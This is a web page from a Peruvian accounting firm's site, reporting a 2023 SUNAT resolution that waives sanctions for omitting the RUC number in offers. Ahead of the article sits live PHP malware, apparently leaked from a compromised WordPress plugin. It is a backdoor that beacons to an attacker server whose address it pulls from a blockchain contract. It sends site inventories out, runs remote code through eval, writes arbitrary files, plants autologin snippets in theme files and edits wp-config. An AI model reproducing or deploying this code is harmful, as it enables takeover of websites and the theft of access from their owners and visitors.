// ud_ym
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home2/equidadc/public_html/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// ud_ym',
'vis'=>'// di_ic',
'vis_func'=>'wp_ooytve',
'vis_paths'=>array('/home2/equidadc/public_html/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_k0qr1iuy',
);
$keys=array();
$keys['id']='pq1';
$keys['ver']='sg';
$keys['caps']='oqm';
$keys['tasks']='znu';
$keys['interval']='xrn';
$keys['ack_id']='yqt';
$keys['ok']='3h';
$keys['detail']='m8v';
$keys['inv']='pi3';
$keys['result']='o6n';
$hdr='X-5X6-Auth';$tok='QQt11ynX3gjVDfxxBSzjqzka7jk_RV4lTkasIzKfG18';$id='d4af3850b3e8912d';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
FACULTAD DISCRECIONAL DE NO SANCIONAR LA INFRACCIÓN TIPIFICADA EN EL NUMERAL 9 DEL ARTÍCULO 173 DEL CÓDIGO TRIBUTARIO - Equidad Contabilidad y Tributación
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Inicio » Noticias » FACULTAD DISCRECIONAL DE NO SANCIONAR LA INFRACCIÓN TIPIFICADA EN EL NUMERAL 9 DEL ARTÍCULO 173 DEL CÓDIGO TRIBUTARIO
RESOLUCIÓN Nº20-2023-SUNAT/700000, publicado el 28 de junio de 2023
Considerando que mediante el Decreto Legislativo N° 1524 se incorporó el numeral 9 al artículo 173 del Código Tributario, en el cual se tipifica como infracción “No consignar el número de RUC en la documentación mediante la cual se oferte bienes y/o servicios conforme a lo que la normativa tributaria establezca”. Dicha infracción tiene como sanción aplicable un porcentaje de la Unidad Impositiva Tributaria o de los ingresos brutos de acuerdo con lo establecido en las Tablas de Infracciones y Sanciones I, II y III del citado Código.
Por lo tanto, mediante la presente resolución, se aplica la facultad discrecional de no sancionar la infracción tipificada en el numeral 9 del artículo 173 del Código Tributario, en la que incurran los contribuyentes en el periodo comprendido entre el 01 de julio del 2023 hasta el 31 de diciembre de 2023.
Asimismo, no procede efectuar la devolución ni compensación de los pagos vinculados a la infracción que es materia de discrecionalidad en la presente resolución.
Fuente: Diario El Peruano
https://busquedas.elperuano.pe/normaslegales/aplican-la-facultad-discrecional-de-no-sancionar-la-infracci-resolucion-no-000020-2023-sunat700000-2191260-1/
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